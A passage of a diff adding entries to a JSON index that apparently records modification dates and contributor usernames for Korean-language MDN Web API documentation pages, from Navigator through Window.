+ ] + }, + "Web/API/Navigator/share": { + "modified": "2020-10-15T22:21:13.721Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/NavigatorID": { + "modified": "2020-10-15T22:04:17.452Z", + "contributors": [ + "fscholz", + "SSJ-unclear" + ] + }, + "Web/API/NavigatorLanguage": { + "modified": "2020-10-15T21:59:32.837Z", + "contributors": [ + "alattalatta", + "teoli" + ] + }, + "Web/API/NavigatorLanguage/language": { + "modified": "2019-03-18T21:46:11.388Z", + "contributors": [ + "yuj25" + ] + }, + "Web/API/NavigatorOnLine": { + "modified": "2020-10-15T21:59:06.261Z", + "contributors": [ + "alattalatta", + "chrisdavidmills" + ] + }, + "Web/API/NavigatorOnLine/Online_and_offline_events": { + "modified": "2019-03-23T23:51:10.400Z", + "contributors": [ + "chrisdavidmills", + "teoli", + "Jeongkyu", + "조경빈" + ] + }, + "Web/API/NetworkInformation": { + "modified": "2020-10-15T21:33:00.164Z", + "contributors": [ + "alattalatta", + "fscholz" + ] + }, + "Web/API/NetworkInformation/connection": { + "modified": "2019-03-23T23:26:48.403Z", + "contributors": [ + "fscholz", + "khalid32", + "teoli", + "hyeonseok" + ] + }, + "Web/API/Node": { + "modified": "2020-10-15T21:33:01.643Z", + "contributors": [ + "pinkbunny1", + "alattalatta", + "Ken123777", + "kewlbear", + "fscholz" + ] + }, + "Web/API/Node/appendChild": { + "modified": "2019-06-10T03:07:55.678Z", + "contributors": [ + "nugurejeil" + ] + }, + "Web/API/Node/childNodes": { + "modified": "2019-03-23T23:42:26.773Z", + "contributors": [ + "fscholz", + "khalid32", + "teoli", + "Netaras" + ] + }, + "Web/API/Node/cloneNode": { + "modified": "2019-03-23T22:10:19.289Z", + "contributors": [ + "galcyurio" + ] + }, + "Web/API/Node/contains": { + "modified": "2019-04-02T21:43:20.193Z", + "contributors": [ + "sujinlee0616", + "x86kernel" + ] + }, + "Web/API/Node/firstChild": { + "modified": "2019-03-23T23:42:28.898Z", + "contributors": [ + "wbamberg", + "fscholz", + "AshfaqHossain", + "teoli", + "Sheppy", + "Netaras" + ] + }, + "Web/API/Node/hasChildNodes": { + "modified": "2019-03-23T22:28:25.733Z", + "contributors": [ + "simonseo" + ] + }, + "Web/API/Node/innerText": { + "modified": "2020-10-15T22:08:26.441Z", + "contributors": [ + "alattalatta", + "DeadIntegral" + ] + }, + "Web/API/Node/insertBefore": { + "modified": "2020-10-15T22:11:13.634Z", + "contributors": [ + "JaeWorld" + ] + }, + "Web/API/Node/lastChild": { + "modified": "2019-03-23T23:42:31.487Z", + "contributors": [ + "fscholz", + "AshfaqHossain", + "teoli", + "Netaras" + ] + }, + "Web/API/Node/nextSibling": { + "modified": "2019-03-23T22:12:29.026Z", + "contributors": [ + "wbamberg", + "Jae_H.Hwang" + ] + }, + "Web/API/Node/normalize": { + "modified": "2020-10-15T22:10:12.713Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Node/ownerDocument": { + "modified": "2020-10-15T22:03:28.498Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/Node/previousSibling": { + "modified": "2019-03-23T22:50:47.218Z", + "contributors": [ + "wbamberg", + "nonpuritan" + ] + }, + "Web/API/Node/replaceChild": { + "modified": "2019-03-23T22:28:27.264Z", + "contributors": [ + "nugurejeil" + ] + }, + "Web/API/Node/textContent": { + "modified": "2020-10-15T21:54:58.950Z", + "contributors": [ + "marieee", + "alattalatta", + "kooljay82" + ] + }, + "Web/API/NodeFilter": { + "modified": "2020-10-15T22:00:37.168Z", + "contributors": [ + "alattalatta", + "kewlbear" + ] + }, + "Web/API/NodeList": { + "modified": "2020-10-15T21:32:59.282Z", + "contributors": [ + "younghoh", + "DeadIntegral", + "huusz", + "fscholz" + ] + }, + "Web/API/NodeList/entries": { + "modified": "2020-10-15T22:08:50.521Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/NodeList/forEach": { + "modified": "2020-10-15T22:08:50.553Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/NodeList/item": { + "modified": "2020-10-15T22:08:51.025Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/NodeList/keys": { + "modified": "2020-10-15T22:08:51.123Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/NodeList/length": { + "modified": "2019-03-23T23:42:30.177Z", + "contributors": [ + "fscholz", + "khalid32", + "teoli", + "Netaras" + ] + }, + "Web/API/NodeList/values": { + "modified": "2020-10-15T22:08:51.588Z", + "contributors": [ + "DeadIntegral" + ] + }, + "Web/API/Notification/permission": { + "modified": "2019-03-23T23:26:30.659Z", + "contributors": [ + "fscholz", + "AshfaqHossain", + "oohii" + ] + }, + "Web/API/Notifications_API": { + "modified": "2020-10-15T22:14:45.240Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/NotifyAudioAvailableEvent": { + "modified": "2019-03-23T22:20:26.016Z", + "contributors": [ + "alsntjsu" + ] + }, + "Web/API/OffscreenCanvas": { + "modified": "2020-10-15T22:14:42.350Z", + "contributors": [ + "moonformeli" + ] + }, + "Web/API/OffscreenCanvas/OffscreenCanvas": { + "modified": "2020-10-15T22:14:41.229Z", + "contributors": [ + "moonformeli" + ] + }, + "Web/API/OffscreenCanvas/getContext": { + "modified": "2020-10-15T22:14:44.730Z", + "contributors": [ + "moonformeli" + ] + }, + "Web/API/OffscreenCanvas/height": { + "modified": "2020-10-15T22:14:43.501Z", + "contributors": [ + "moonformeli" + ] + }, + "Web/API/OffscreenCanvas/toBlob": { + "modified": "2020-10-15T22:14:42.795Z", + "contributors": [ + "moonformeli" + ] + }, + "Web/API/OffscreenCanvas/width": { + "modified": "2020-10-15T22:14:42.247Z", + "contributors": [ + "moonformeli" + ] + }, + "Web/API/Page_Visibility_API": { + "modified": "2020-10-15T21:50:28.089Z", + "contributors": [ + "alattalatta", + "dragmove" + ] + }, + "Web/API/ParentNode": { + "modified": "2020-10-15T22:08:08.618Z", + "contributors": [ + "alattalatta", + "ExE-Boss" + ] + }, + "Web/API/ParentNode/append": { + "modified": "2020-10-15T22:23:54.799Z", + "contributors": [ + "ChanMyeong" + ] + }, + "Web/API/ParentNode/childElementCount": { + "modified": "2020-10-24T00:56:18.797Z", + "contributors": [ + "zzoPark" + ] + }, + "Web/API/ParentNode/children": { + "modified": "2020-10-15T22:08:09.823Z", + "contributors": [ + "whdckszxxx" + ] + }, + "Web/API/ParentNode/prepend": { + "modified": "2020-10-15T22:19:18.906Z", + "contributors": [ + "JungSWon" + ] + }, + "Web/API/Performance": { + "modified": "2020-10-15T21:53:34.737Z", + "contributors": [ + "fscholz", + "wbamberg", + "jpmedley" + ] + }, + "Web/API/Performance/mark": { + "modified": "2020-10-15T22:23:09.869Z", + "contributors": [ + "ESnark" + ] + }, + "Web/API/Performance/now": { + "modified": "2020-10-15T21:53:33.718Z", + "contributors": [ + "alattalatta", + "Dong-Young_Lee", + "dragmove" + ] + }, + "Web/API/PerformanceEntry": { + "modified": "2020-10-15T22:23:11.078Z", + "contributors": [ + "ESnark" + ] + }, + "Web/API/PhotoCapabilities": { + "modified": "2020-10-15T22:27:09.730Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Plugin": { + "modified": "2019-03-23T22:11:26.376Z", + "contributors": [ + "JinSeungHo" + ] + }, + "Web/API/PositionOptions": { + "modified": "2020-10-15T22:02:42.878Z", + "contributors": [ + "alattalatta", + "Saem" + ] + }, + "Web/API/PushManager": { + "modified": "2020-10-15T21:24:43.793Z", + "contributors": [ + "alattalatta", + "khalid32", + "minchang" + ] + }, + "Web/API/PushMessageData": { + "modified": "2020-10-15T21:51:29.225Z", + "contributors": [ + "alattalatta", + "alsntjsu" + ] + }, + "Web/API/Push_API": { + "modified": "2020-10-15T22:19:20.272Z", + "contributors": [ + "younheeJang" + ] + }, + "Web/API/RTCConfiguration": { + "modified": "2020-10-15T22:21:34.262Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCDataChannelEvent": { + "modified": "2020-10-15T22:21:45.154Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCDataChannelEvent/RTCDataChannelEvent": { + "modified": "2020-10-15T22:21:44.935Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCDataChannelEvent/channel": { + "modified": "2020-10-15T22:21:44.926Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCIceCandidate": { + "modified": "2020-10-15T22:21:38.532Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCIceCandidate/candidate": { + "modified": "2020-10-15T22:21:50.433Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCIceCandidate/toJSON": { + "modified": "2020-10-15T22:21:45.450Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection": { + "modified": "2020-10-15T21:55:34.316Z", + "contributors": [ + "ksrae", + "chansbro", + "SDSkyKlouD", + "hjs6877" + ] + }, + "Web/API/RTCPeerConnection/RTCPeerConnection": { + "modified": "2020-10-15T22:19:10.244Z", + "contributors": [ + "chansbro", + "SDSkyKlouD" + ] + }, + "Web/API/RTCPeerConnection/addIceCandidate": { + "modified": "2020-10-15T22:21:53.619Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/addTrack": { + "modified": "2020-10-15T22:21:48.614Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/canTrickleIceCandidates": { + "modified": "2020-10-15T22:21:46.639Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/close": { + "modified": "2020-10-15T22:21:44.369Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/connectionState": { + "modified": "2020-10-15T22:21:46.270Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/createAnswer": { + "modified": "2020-10-15T22:21:52.646Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/createDataChannel": { + "modified": "2020-10-15T22:21:57.754Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/currentLocalDescription": { + "modified": "2020-10-15T22:21:36.507Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/currentRemoteDescription": { + "modified": "2020-10-15T22:21:46.405Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/generateCertificate": { + "modified": "2020-10-15T22:22:01.110Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/getConfiguration": { + "modified": "2020-10-15T22:22:01.220Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/getIdentityAssertion": { + "modified": "2020-10-15T22:22:02.368Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/getReceivers": { + "modified": "2020-10-15T22:22:02.274Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/getSenders": { + "modified": "2020-10-15T22:22:02.512Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/getTransceivers": { + "modified": "2020-10-15T22:22:03.043Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/iceGatheringState": { + "modified": "2020-10-15T22:21:37.926Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/icegatheringstatechange_event": { + "modified": "2020-10-15T22:21:34.594Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/localDescription": { + "modified": "2020-10-15T22:22:06.987Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/onconnectionstatechange": { + "modified": "2020-10-15T22:21:46.935Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/ondatachannel": { + "modified": "2020-10-15T22:21:38.724Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/onicecandidate": { + "modified": "2020-10-15T22:21:32.954Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/onicegatheringstatechange": { + "modified": "2020-10-15T22:21:36.115Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/onidentityresult": { + "modified": "2020-10-15T22:22:07.358Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/ontrack": { + "modified": "2020-10-15T22:22:07.343Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/removeTrack": { + "modified": "2020-10-15T22:22:03.373Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/restartIce": { + "modified": "2020-10-15T22:22:05.218Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/setConfiguration": { + "modified": "2020-10-15T22:22:05.087Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/setIdentityProvider": { + "modified": "2020-10-15T22:22:06.353Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCPeerConnection/setLocalDescription": { + "modified": "2020-10-15T22:22:06.674Z", + "contributors": [ + "ksrae", + "chansbro" + ] + }, + "Web/API/RTCPeerConnectionIceEvent": { + "modified": "2020-10-15T22:21:34.761Z", + "contributors": [ + "Sheppy" + ] + }, + "Web/API/RTCPeerConnectionIceEvent/candidate": { + "modified": "2020-10-15T22:21:33.225Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCSessionDescription": { + "modified": "2020-10-15T22:21:51.962Z", + "contributors": [ + "kimyounguk", + "Jib" + ] + }, + "Web/API/RTCSessionDescription/sdp": { + "modified": "2020-10-15T22:21:49.416Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/RTCSessionDescription/type": { + "modified": "2020-10-15T22:22:31.778Z", + "contributors": [ + "chansbro" + ] + }, + "Web/API/Range": { + "modified": "2020-10-15T21:17:18.574Z", + "contributors": [ + "alattalatta", + "JeonghoonChoi", + "gblue1223", + "pjc0247", + "coremaker", + "fscholz", + "khalid32", + "teoli", + "pusanbear" + ] + }, + "Web/API/Range/selectNodeContents": { + "modified": "2020-10-15T21:44:08.507Z", + "contributors": [ + "alattalatta", + "incleaf" + ] + }, + "Web/API/ReadableStream": { + "modified": "2020-10-15T22:28:34.119Z", + "contributors": [ + "CressZZ" + ] + }, + "Web/API/Request": { + "modified": "2019-03-18T21:45:52.124Z", + "contributors": [ + "BANIP" + ] + }, + "Web/API/Request/Request": { + "modified": "2019-03-18T21:45:01.056Z", + "contributors": [ + "BANIP" + ] + }, + "Web/API/Request/credentials": { + "modified": "2020-10-15T22:14:24.282Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/SVGRect": { + "modified": "2020-10-15T22:14:24.692Z", + "contributors": [ + "guyeol" + ] + }, + "Web/API/Screen": { + "modified": "2019-03-23T23:01:36.807Z", + "contributors": [ + "fscholz" + ] + }, + "Web/API/Screen.onorientationchange": { + "modified": "2019-03-23T23:26:53.977Z", + "contributors": [ + "jsx", + "teoli", + "junho85" + ] + }, + "Web/API/Screen/lockOrientation": { + "modified": "2020-10-15T21:24:21.814Z", + "contributors": [ + "alattalatta", + "fscholz", + "teoli", + "junho85" + ] + }, + "Web/API/Screen/orientation": { + "modified": "2019-03-23T23:27:06.864Z", + "contributors": [ + "fscholz", + "teoli", + "junho85" + ] + }, + "Web/API/Screen/unlockOrientation": { + "modified": "2020-10-15T21:24:24.969Z", + "contributors": [ + "alattalatta", + "fscholz", + "junho85" + ] + }, + "Web/API/Selection": { + "modified": "2020-10-15T21:17:18.331Z", + "contributors": [ + "alattalatta", + "ne2030", + "dae-hwa", + "fscholz", + "khalid32", + "teoli", + "pusanbear" + ] + }, + "Web/API/Selection/toString": { + "modified": "2020-10-15T21:59:00.326Z", + "contributors": [ + "alattalatta", + "veshboo" + ] + }, + "Web/API/Server-sent_events": { + "modified": "2019-04-18T11:03:16.390Z", + "contributors": [ + "alattalatta", + "hoony" + ] + }, + "Web/API/ServiceWorker": { + "modified": "2020-10-15T21:39:42.496Z", + "contributors": [ + "alattalatta", + "minias" + ] + }, + "Web/API/ServiceWorker/onstatechange": { + "modified": "2020-10-15T22:20:48.975Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/ServiceWorkerGlobalScope": { + "modified": "2020-10-15T22:20:18.174Z", + "contributors": [ + "fscholz" + ] + }, + "Web/API/ServiceWorkerGlobalScope/clients": { + "modified": "2020-10-15T22:20:23.493Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/ServiceWorkerGlobalScope/notificationclick_event": { + "modified": "2020-10-15T22:22:01.697Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/ServiceWorkerGlobalScope/skipWaiting": { + "modified": "2020-10-15T22:20:18.195Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/ServiceWorkerRegistration": { + "modified": "2020-10-15T22:20:18.966Z" + }, + "Web/API/ServiceWorkerRegistration/active": { + "modified": "2020-10-15T22:20:29.654Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/ServiceWorkerRegistration/installing": { + "modified": "2020-10-15T22:20:16.977Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/ServiceWorkerRegistration/navigationPreload": { + "modified": "2020-10-15T22:20:28.623Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/Service_Worker_API": { + "modified": "2020-09-02T11:09:48.799Z", + "contributors": [ + "alattalatta", + "MuhunKim", + "Hou", + "limkukhyun", + "chrisdavidmills" + ] + }, + "Web/API/Service_Worker_API/Using_Service_Workers": { + "modified": "2020-01-22T22:07:32.776Z", + "contributors": [ + "leegeunhyeok", + "LeeJunyeol", + "SemteulGaram", + "joshua1988" + ] + }, + "Web/API/SharedWorker": { + "modified": "2020-10-15T21:48:36.465Z", + "contributors": [ + "alattalatta", + "joshua1988" + ] + }, + "Web/API/Storage": { + "modified": "2020-10-15T21:46:19.730Z", + "contributors": [ + "alattalatta", + "joshua1988" + ] + }, + "Web/API/Storage/key": { + "modified": "2020-10-15T22:04:17.401Z", + "contributors": [ + "galcyurio" + ] + }, + "Web/API/Storage/length": { + "modified": "2020-10-15T22:33:23.255Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Storage/removeItem": { + "modified": "2019-03-23T22:19:00.475Z", + "contributors": [ + "jcahn" + ] + }, + "Web/API/StorageEvent": { + "modified": "2020-10-15T22:33:24.408Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/Streams_API": { + "modified": "2020-10-15T22:10:11.505Z", + "contributors": [ + "ahnzaz", + "chrisdavidmills" + ] + }, + "Web/API/Streams_API/Using_readable_streams": { + "modified": "2020-03-27T01:34:43.977Z", + "contributors": [ + "CressZZ" + ] + }, + "Web/API/Streams_API/컨셉": { + "modified": "2019-03-18T21:23:57.078Z", + "contributors": [ + "jjangga0214" + ] + }, + "Web/API/StyleSheet": { + "modified": "2020-10-15T22:34:31.946Z", + "contributors": [ + "seo42401077" + ] + }, + "Web/API/Text": { + "modified": "2020-10-15T22:10:12.929Z", + "contributors": [ + "alattalatta", + "cs09g" + ] + }, + "Web/API/Text/Text": { + "modified": "2020-10-15T22:10:14.805Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Text/splitText": { + "modified": "2020-10-15T22:10:12.068Z", + "contributors": [ + "cs09g" + ] + }, + "Web/API/Touch_events": { + "modified": "2019-03-23T22:10:42.744Z", + "contributors": [ + "helli" + ] + }, + "Web/API/TreeWalker": { + "modified": "2020-10-15T22:00:36.173Z", + "contributors": [ + "alattalatta", + "kewlbear" + ] + }, + "Web/API/TreeWalker/currentNode": { + "modified": "2020-10-15T22:00:39.722Z", + "contributors": [ + "alattalatta", + "kewlbear" + ] + }, + "Web/API/URL": { + "modified": "2020-10-15T21:59:37.835Z", + "contributors": [ + "alattalatta", + "cybaj", + "limkukhyun", + "SeonHyungJo", + "yuj25" + ] + }, + "Web/API/URL/URL": { + "modified": "2020-10-15T22:26:50.386Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/createObjectURL": { + "modified": "2020-10-15T22:16:00.254Z", + "contributors": [ + "alattalatta", + "moonyl" + ] + }, + "Web/API/URL/hash": { + "modified": "2020-10-15T22:26:52.281Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/host": { + "modified": "2020-10-15T22:26:52.486Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/hostname": { + "modified": "2020-10-15T22:27:32.406Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/href": { + "modified": "2020-10-15T22:27:34.298Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/origin": { + "modified": "2020-10-15T22:27:43.580Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/password": { + "modified": "2020-10-15T22:27:43.118Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/pathname": { + "modified": "2020-10-15T22:27:45.295Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/port": { + "modified": "2020-10-15T22:27:46.281Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/protocol": { + "modified": "2020-10-15T22:27:46.209Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/revokeObjectURL": { + "modified": "2020-10-15T22:15:59.840Z", + "contributors": [ + "alattalatta", + "moonyl" + ] + }, + "Web/API/URL/search": { + "modified": "2020-10-15T22:27:50.259Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/searchParams": { + "modified": "2020-10-15T22:27:44.189Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/toJSON": { + "modified": "2020-10-15T22:27:51.609Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/toString": { + "modified": "2020-10-15T22:27:45.973Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URL/username": { + "modified": "2020-10-15T22:27:43.094Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/URLSearchParams": { + "modified": "2020-10-15T22:00:33.746Z", + "contributors": [ + "alattalatta", + "limkukhyun", + "dnjstlr555" + ] + }, + "Web/API/URLSearchParams/URLSearchParams": { + "modified": "2020-10-15T22:33:49.386Z", + "contributors": [ + "heejinlee07" + ] + }, + "Web/API/URLSearchParams/toString": { + "modified": "2020-10-15T22:26:21.105Z", + "contributors": [ + "LeeJunyeol" + ] + }, + "Web/API/USVString": { + "modified": "2020-02-19T12:36:27.811Z", + "contributors": [ + "alattalatta", + "cs09g", + "DeadIntegral" + ] + }, + "Web/API/VREyeParameters": { + "modified": "2020-10-15T21:54:28.385Z", + "contributors": [ + "alattalatta", + "hyunjunyong" + ] + }, + "Web/API/ValidityState": { + "modified": "2020-10-15T22:32:29.142Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/API/WebGLRenderbuffer": { + "modified": "2020-10-15T22:14:23.554Z", + "contributors": [ + "guyeol" + ] + }, + "Web/API/WebGLShader": { + "modified": "2019-03-23T22:27:54.436Z", + "contributors": [ + "rupc" + ] + }, + "Web/API/WebGL_API": { + "modified": "2020-10-15T21:28:11.343Z", + "contributors": [ + "hyungsbi", + "alattalatta", + "fscholz", + "hanmomhanda", + "bassam", + "JeongSeongDae", + "jaejoonjung" + ] + }, + "Web/API/WebGL_API/By_example": { + "modified": "2019-03-23T22:21:30.767Z", + "contributors": [ + "chrisdavidmills", + "fscholz" + ] + }, + "Web/API/WebGL_API/By_example/Clearing_by_clicking": { + "modified": "2019-03-23T22:21:24.276Z", + "contributors": [ + "chrisdavidmills", + "woojin.jo" + ] + }, + "Web/API/WebGL_API/By_example/Detect_WebGL": { + "modified": "2019-03-23T22:21:34.287Z", + "contributors": [ + "chrisdavidmills", + "woojin.jo" + ] + }, + "Web/API/WebGL_API/By_example/Hello_GLSL": { + "modified": "2019-03-23T22:21:28.443Z", + "contributors": [ + "chrisdavidmills", + "woojin.jo" + ] + }, + "Web/API/WebGL_API/By_example/Hello_vertex_attributes": { + "modified": "2019-03-23T22:21:33.699Z", + "contributors": [ + "chrisdavidmills", + "woojin.jo" + ] + }, + "Web/API/WebGL_API/By_example/Scissor_animation": { + "modified": "2019-03-18T21:15:07.563Z", + "contributors": [ + "chrisdavidmills", + "woojin.jo" + ] + }, + "Web/API/WebGL_API/By_example/Simple_color_animation": { + "modified": "2019-03-23T22:21:32.653Z", + "contributors": [ + "chrisdavidmills", + "woojin.jo" + ] + }, + "Web/API/WebGL_API/By_example/Textures_from_code": { + "modified": "2019-03-23T22:21:28.991Z", + "contributors": [ + "chrisdavidmills", + "woojin.jo" + ] + }, + "Web/API/WebGL_API/Cross-Domain_Textures": { + "modified": "2019-03-23T22:54:05.275Z", + "contributors": [ + "fscholz", + "hanmomhanda" + ] + }, + "Web/API/WebGL_API/Tutorial": { + "modified": "2020-06-18T10:46:16.746Z", + "contributors": [ + "ChrisKim", + "red112", + "fscholz" + ] + }, + "Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context": { + "modified": "2019-03-18T20:48:13.599Z", + "contributors": [ + "sev314", + "fscholz", + "chiyodad", + "teoli", + "sangwoo", + "JeongSeongDae" + ] + }, + "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL": { + "modified": "2019-03-23T23:08:21.261Z", + "contributors": [ + "fscholz", + "hanmomhanda", + "sangwoo" + ] + }, + "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL": { + "modified": "2019-03-23T22:54:09.560Z", + "contributors": [ + "fscholz", + "hanmomhanda" + ] + }, + "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL": { + "modified": "2019-03-23T22:54:17.912Z", + "contributors": [ + "fscholz", + "hanmomhanda" + ] + }, + "Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL": { + "modified": "2019-03-23T23:09:44.080Z", + "contributors": [ + "kjh9348", + "psj3205", + "joeunha", + "fscholz", + "teoli", + "sangwoo", + "JeongSeongDae" + ] + }, + "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL": { + "modified": "2019-03-23T22:54:18.202Z", + "contributors": [ + "fscholz", + "hanmomhanda" + ] + }, + "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL": { + "modified": "2019-08-20T03:17:40.591Z", + "contributors": [ + "code1492", + "fscholz", + "hanmomhanda" + ] + }, + "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL": { + "modified": "2019-03-23T22:54:21.742Z", + "contributors": [ + "fscholz", + "hanmomhanda" + ] + }, + "Web/API/WebGL_API/WebGL_best_practices": { + "modified": "2019-03-23T22:27:59.889Z", + "contributors": [ + "rupc" + ] + }, + "Web/API/WebRTC_API": { + "modified": "2020-10-28T03:01:09.162Z", + "contributors": [ + "Anonymous", + "LeeJunyeol", + "peacekimjapan", + "YBHwang", + "netcleaner", + "hjs6877", + "gustnxodjs", + "Sheppy" + ] + }, + "Web/API/WebRTC_API/Protocols": { + "modified": "2020-04-05T10:53:02.981Z", + "contributors": [ + "peacekimjapan" + ] + }, + "Web/API/WebRTC_API/Signaling_and_video_calling": { + "modified": "2020-08-14T04:11:06.366Z", + "contributors": [ + "breadfit", + "fscholz", + "gustnxodjs" + ] + }, + "Web/API/WebRTC_API/Using_data_channels": { + "modified": "2020-04-05T10:19:30.624Z", + "contributors": [ + "peacekimjapan" + ] + }, + "Web/API/WebRTC_API/adapter.js": { + "modified": "2020-08-14T03:48:29.087Z", + "contributors": [ + "breadfit" + ] + }, + "Web/API/WebSocket": { + "modified": "2020-10-15T21:42:28.844Z", + "contributors": [ + "alattalatta", + "TaeYoon2", + "pjc0247" + ] + }, + "Web/API/WebSocket/WebSocket": { + "modified": "2020-10-15T22:09:06.751Z", + "contributors": [ + "TaeYoon2" + ] + }, + "Web/API/WebSocket/readyState": { + "modified": "2020-10-15T22:21:26.050Z", + "contributors": [ + "dragmove" + ] + }, + "Web/API/Web_Audio_API": { + "modified": "2020-11-04T02:42:13.418Z", + "contributors": [ + "hyunwoong.kang", + "chant" + ] + }, + "Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API": { + "modified": "2019-03-18T21:36:55.007Z", + "contributors": [ + "daebum-lee" + ] + }, + "Web/API/Web_Audio_API/Using_Web_Audio_API": { + "modified": "2019-10-28T07:49:04.515Z", + "contributors": [ + "dbwodlf3" + ] + }, + "Web/API/Web_Storage_API": { + "modified": "2020-10-15T21:55:28.717Z", + "contributors": [ + "alattalatta", + "zynkn", + "fscholz" + ] + }, + "Web/API/Web_Storage_API/Using_the_Web_Storage_API": { + "modified": "2020-10-15T21:55:28.885Z", + "contributors": [ + "yuyuny", + "alattalatta", + "leedabin", + "techhtml" + ] + }, + "Web/API/Web_Workers_API": { + "modified": "2020-08-26T12:06:20.971Z", + "contributors": [ + "alattalatta", + "ddojung", + "naduhy2", + "thankee", + "chrisdavidmills" + ] + }, + "Web/API/Web_Workers_API/Structured_clone_algorithm": { + "modified": "2019-03-23T22:19:45.404Z", + "contributors": [ + "Konan" + ] + }, + "Web/API/Web_Workers_API/basic_usage": { + "modified": "2020-04-03T02:58:31.932Z", + "contributors": [ + "dh", + "roupkk", + "andrewsohn", + "NFM", + "epicsaga" + ] + }, + "Web/API/Window": { + "modified": "2020-10-15T21:17:36.416Z", + "contributors": [ + "alattalatta", + "JungMockdan", + "inojng", + "wayne-kim", + "fscholz", + "jsx", + "teoli", + "pusanbear" + ] + }, + "Web/API/Window/alert": { + "modified": "2020-10-15T21:39:24.854Z", + "contributors": [ + "alattalatta", + "Parcovia", + ".", + "pi1992" + ] + }, + "Web/API/Window/beforeunload_event": { + "modified": "2020-10-15T22:30:21.588Z", + "contributors": [ + "alattalatta", + "SeonHyungJo" + ] + }, + "Web/API/Window/cancelAnimationFrame": { + "modified": "2020-10-15T22:16:45.881Z", + "contributors": [ + "cs09g" + ] + }, + 